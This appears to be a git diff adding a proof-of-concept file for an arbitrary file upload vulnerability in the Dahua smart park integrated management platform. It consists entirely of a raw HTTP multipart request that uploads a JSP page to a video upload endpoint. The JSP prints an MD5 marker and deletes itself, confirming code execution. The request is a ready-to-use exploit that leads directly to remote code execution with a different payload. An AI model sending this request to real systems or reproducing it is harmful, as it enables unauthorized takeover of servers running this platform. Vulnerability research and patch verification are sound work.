diff --git a/大华智慧园区综合管理平台 文件上传漏洞.md b/大华智慧园区综合管理平台 文件上传漏洞.md new file mode 100644 index 0000000..c9adbd6 --- /dev/null +++ b/大华智慧园区综合管理平台 文件上传漏洞.md @@ -0,0 +1,24 @@ +## 大华智慧园区综合管理平台 文件上传漏洞 +``` +POST /publishing/publishing/material/file/video HTTP/1.1 +Host: 127.0.0.1:7443 +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 +Content-Length: 804 +Content-Type: multipart/form-data; boundary=dd8f988919484abab3816881c55272a7 +Accept-Encoding: gzip, deflate +Connection: close + +--dd8f988919484abab3816881c55272a7 +Content-Disposition: form-data; name="Filedata"; filename="0EaE10E7dF5F10C2.jsp" + +<%@page contentType="text/html; charset=GBK"%><%@page import="java.math.BigInteger"%><%@page import="java.security.MessageDigest"%><% MessageDigest md5 = null;md5 = MessageDigest.getInstance("MD5");String s = "123456";String miyao = "";String jiamichuan = s + miyao;md5.update(jiamichuan.getBytes());String md5String = new BigInteger(1, md5.digest()).toString(16);out.println(md5String);new java.io.File(application.getRealPath(request.getServletPath())).delete();%> +--dd8f988919484abab3816881c55272a7 +Content-Disposition: form-data; name="poc" + +poc +--dd8f988919484abab3816881c55272a7 +Content-Disposition: form-data; name="Submit" + +submit +--dd8f988919484abab3816881c55272a7-- +```